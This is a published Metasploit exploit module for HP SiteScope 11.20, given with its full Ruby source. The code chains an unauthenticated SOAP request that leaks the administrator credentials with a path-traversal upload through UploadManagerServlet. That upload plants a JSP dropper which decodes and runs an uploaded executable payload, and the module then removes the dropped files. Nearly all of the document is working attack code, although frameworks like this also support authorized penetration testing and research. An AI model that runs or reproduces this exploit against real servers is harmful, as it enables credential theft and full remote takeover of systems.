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HP SiteScope Remote Code Execution

HP SiteScope Remote Code Execution
Posted Sep 6, 2012
Authored by rgod, juan vazquez | Site metasploit.com

This Metasploit module exploits a code execution flaw in HP SiteScope. It exploits two vulnerabilities in order to get its objective. An authentication bypass in the getSiteScopeConfiguration operation, available through the APISiteScopeImpl AXIS service, to retrieve the administrator credentials and subsequently abuses the UploadManagerServlet to upload an arbitrary payload embedded in a JSP. The module has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2.

tags | exploit, arbitrary, vulnerability, code execution
systems | windows
advisories | OSVDB-85120, OSVDB-85121
SHA-256 | 67a67e063170cfbbee06938a04c27b05f533096fb0b94e357687f2dd391e82f8

HP SiteScope Remote Code Execution

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'HP SiteScope Remote Code Execution',
'Description' => %q{
This module exploits a code execution flaw in HP SiteScope. It exploits two
vulnerabilities in order to get its objective. An authentication bypass in the
getSiteScopeConfiguration operation, available through the APISiteScopeImpl AXIS
service, to retrieve the administrator credentials and subsequently abuses the
UploadManagerServlet to upload an arbitrary payload embedded in a JSP. The module
has been tested successfully on HP SiteScope 11.20 over Windows 2003 SP2.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '85120' ],
[ 'OSVDB', '85121' ],
[ 'BID', '55269' ],
[ 'BID', '55273' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-173/' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-174/' ]
],
'Privileged' => true,
'Platform' => 'win',
'Targets' =>
[
[ 'HP SiteScope 11.20 / Windows x86',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 29 2012'))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
], self.class)
end

def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("../#{@var_hexfile}.txt")
client.fs.file.rm("../#{@jsp_name}.jsp")
else
client.shell_command_token("del ..\\#{@var_hexfile}.txt")
client.shell_command_token("del ..\\#{@jsp_name}.jsp")
end
end

def exploit
@peer = "#{rhost}:#{rport}"
@uri = target_uri.path
@uri << '/' if @uri[-1,1] != '/'

# Retrieve administrator credentials
print_status("#{@peer} - Retrieving HP SiteScope Configuration")
conf = access_configuration

if not conf or conf.empty?
print_error("#{@peer} - Failed to retrieve the HP SiteScope Configuration")
return
end

print_status("#{@peer} - Retrieving HP SiteScope administrator credentials")

admin_data = conf.split("\x03\x5F\x69\x64\x74\x00\x0D\x61\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x6F\x72\x74\x00")[1]

if not admin_data or admin_data.empty?
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
return
end

admin_password = admin_data.split(/\x09_passwordt\x00/)[1]

if not admin_password or admin_password.empty?
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
return
end

password_length = admin_password.unpack("C").first
if password_length > 0
password = admin_password[1, password_length]
else
password = ""
end

admin_user_type, admin_user = admin_password.split(/\x06(_login[q|t])\x00/)[1, 2]

if not admin_user_type or admin_user_type.empty?
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
return
end

if admin_user_type == "_logint"
if not admin_user or admin_user.empty?
print_error("#{@peer} - Error retrieving the HP SiteScope administrator credentials")
return
end
user_length = admin_user.unpack("C").first
else
user_length = 0
end

if user_length > 0
user = admin_user[1, user_length]
else
user = ""
end

# Generate an initial JSESSIONID
print_status("#{@peer} - Retrieving an initial JSESSIONID")
res = send_request_cgi(
'uri' => "#{@uri}servlet/Main",
'method' => 'POST',
)

if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
session_id = $1
else
print_error("#{@peer} - Retrieve of initial JSESSIONID failed")
return
end

# Authenticate
login_data = "j_username=#{user}&j_password=#{password}"

print_status("#{@peer} - Authenticating on HP SiteScope Configuration")
res = send_request_cgi(
{
'uri' => "#{@uri}j_security_check",
'method' => 'POST',
'data' => login_data,
'ctype' => "application/x-www-form-urlencoded",
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})

if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/
session_id = $1
redirect = URI(res.headers['Location']).path
else
print_error("#{@peer} - Authentication on SiteScope failed")
return
end

# Follow redirection to complete authentication process
print_status("#{@peer} - Following redirection to finish authentication")
res = send_request_cgi(
{
'uri' => redirect,
'method' => 'GET',
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})

if not res or res.code != 200
print_error("#{@peer} - Authentication on SiteScope failed")
return
end

# Upload the JSP and the raw payload
@jsp_name = rand_text_alphanumeric(8+rand(8))

# begin <payload>.jsp
var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8)
var_exepath = Rex::Text.rand_text_alpha(rand(8)+8)
var_data = Rex::Text.rand_text_alpha(rand(8)+8)
var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8)
var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8)
var_bytes = Rex::Text.rand_text_alpha(rand(8)+8)
var_counter = Rex::Text.rand_text_alpha(rand(8)+8)
var_char1 = Rex::Text.rand_text_alpha(rand(8)+8)
var_char2 = Rex::Text.rand_text_alpha(rand(8)+8)
var_comb = Rex::Text.rand_text_alpha(rand(8)+8)
var_exe = Rex::Text.rand_text_alpha(rand(8)+8)
@var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8)
var_proc = Rex::Text.rand_text_alpha(rand(8)+8)
var_fperm = Rex::Text.rand_text_alpha(rand(8)+8)
var_fdel = Rex::Text.rand_text_alpha(rand(8)+8)

jspraw = "<%@ page import=\"java.io.*\" %>\n"
jspraw << "<%\n"
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n"
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
jspraw << "String #{var_data} = \"\";\n"

jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
jspraw << "}\n"

jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"

jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
jspraw << "#{var_inputstream}.close();\n"

jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
jspraw << "{\n"
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
jspraw << "#{var_comb} <<= 4;\n"
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
jspraw << "}\n"

jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
jspraw << "#{var_outputstream}.close();\n"

jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
jspraw << "String[] #{var_fperm} = new String[3];\n"
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
jspraw << "#{var_fperm}[1] = \"+x\";\n"
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
jspraw << "if (#{var_proc}.waitFor() == 0) {\n"
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"
# Linux and other UNICES allow removing files while they are in use...
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
jspraw << "} else {\n"
# Windows does not ..
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
jspraw << "}\n"

jspraw << "%>\n"

# Specify the payload in hex as an extra file..
payload_hex = payload.encoded_exe.unpack('H*')[0]

post_data = Rex::MIME::Message.new
post_data.add_part(payload_hex, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")

print_status("#{@peer} - Uploading the payload")
res = send_request_cgi(
{
'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@var_hexfile}.txt&UploadFilesHandler.ovveride=true",
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})

if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
path = $1
print_good("#{@peer} - Payload successfully uploaded to #{path}")
else
print_error("#{@peer} - Error uploading the Payload")
return
end

post_data = Rex::MIME::Message.new
post_data.add_part(jspraw, "application/octet-stream", nil, "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{rand_text_alpha(4)}.png\"")

print_status("#{@peer} - Uploading the JSP")
res = send_request_cgi(
{
'uri' => "#{@uri}upload?REMOTE_HANDLER_KEY=UploadFilesHandler&UploadFilesHandler.file.name=..\\..\\..\\..\\..\\..\\#{@jsp_name}.jsp&UploadFilesHandler.ovveride=true",
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})

if res and res.code == 200 and res.body =~ /file: (.*) uploaded succesfuly to server/
path = $1
print_good("#{@peer} - JSP successfully uploaded to #{path}")
else
print_error("#{@peer} - Error uploading the JSP")
return
end

print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...")
send_request_cgi(
{
'uri' => "#{@uri}#{@jsp_name}.jsp",
'method' => 'GET',
'headers' =>
{
'Cookie' => "JSESSIONID=#{session_id}",
}
})
end

def access_configuration

data = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
data << "<wsns0:Envelope" + "\r\n"
data << "xmlns:wsns1='http://www.w3.org/2001/XMLSchema-instance'" + "\r\n"
data << "xmlns:xsd='http://www.w3.org/2001/XMLSchema'" + "\r\n"
data << "xmlns:wsns0='http://schemas.xmlsoap.org/soap/envelope/'" + "\r\n"
data << ">" + "\r\n"
data << "<wsns0:Body" + "\r\n"
data << "wsns0:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/'" + "\r\n"
data << ">" + "\r\n"
data << "<impl:getSiteScopeConfiguration" + "\r\n"
data << "xmlns:impl='http://Api.freshtech.COM'" + "\r\n"
data << "></impl:getSiteScopeConfiguration>" + "\r\n"
data << "</wsns0:Body>" + "\r\n"
data << "</wsns0:Envelope>"

res = send_request_cgi({
'uri' => "#{@uri}services/APISiteScopeImpl",
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => data,
'headers' => {
'SOAPAction' => '""',
}})

if res and res.code == 200

if res.headers['Content-Type'] =~ /boundary="(.*)"/
boundary = $1
end
if not boundary or boundary.empty?
return nil
end

if res.body =~ /getSiteScopeConfigurationReturn href="cid:([A-F0-9]*)"/
cid = $1
end
if not cid or cid.empty?
return nil
end

if res.body =~ /#{cid}>\r\n\r\n(.*)\r\n--#{boundary}/m
loot = Rex::Text.ungzip($1)
end
if not loot or loot.empty?
return nil
end

return loot
end

return nil
end

end
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